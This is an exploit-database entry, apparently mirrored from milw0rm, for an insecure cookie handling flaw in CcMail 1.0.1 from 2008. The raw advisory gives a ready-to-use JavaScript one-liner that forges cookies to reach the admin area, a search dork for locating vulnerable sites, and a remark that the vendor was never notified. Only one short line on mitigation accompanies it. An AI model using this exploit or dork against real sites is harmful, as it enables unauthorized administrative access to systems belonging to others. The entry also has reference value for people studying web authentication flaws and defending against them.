CcMail - exploit.company

vendor:

CcMail

by:

t0pP8uZz

7.5

CVSS

HIGH

Insecure Cookie Handling

N/A

CWE

Product Name: CcMail

Affected Version From: 1.0.1

Affected Version To: 1.0.1

Patch Exists: NO

Related CWE: N/A

CPE: a:cico_and_cico:ccmail

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Firefox, Thunderbird

2008

CcMail <= 1.0.1 Insecure Cookie Handling

CcMail (all versions) suffers from insecure cookie handling, this allows the remote attacker to set a cookie and be granted access to the admin area. This is because CcMail only checks if the cookie exists, it doesnt compare the data. By entering the below javascript into your (firefox/thunderbird etc) cookies will be created allowing you to login to 'admin.php'.

Mitigation:

Ensure that cookies are properly validated and compared to the data stored in the server.

Source

Exploit-DB raw data:

--==+================================================================================+==--
--==+		         CcMail <= 1.0.1 Insecure Cookie Handling	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 11 April 2008
Script Download: http://www.cicoandcico.com/download/download.php?SortBy=1&fdir=./ccmail/
DORK: "Emanuele Guadagnoli" "CcMail"

Vendor Has Not Been Notified!


DESCRIPTION: 
CcMail (all versions) suffers from insecure cookie handling, this allows the remote attacker to set a cookie
and be granted access to the admin area. this is because CcMail only checks if the cookie exists, it doesnt
compare the data.

by entering the below javascript into your (firefox/thunderbird etc) cookies will be created allowing you
to login to "admin.php"


Exploit:

javascript:document.cookie = "name=admin; path=/;"; document.cookie = "this_cookie=admin; path=/;"; 



NOTE/TIP: 
after running the above code you will be able to visit the admin area at "admin.php"


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !


--==+================================================================================+==--
--==+		         CcMail <= 1.0.1 Insecure Cookie Handling	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-12]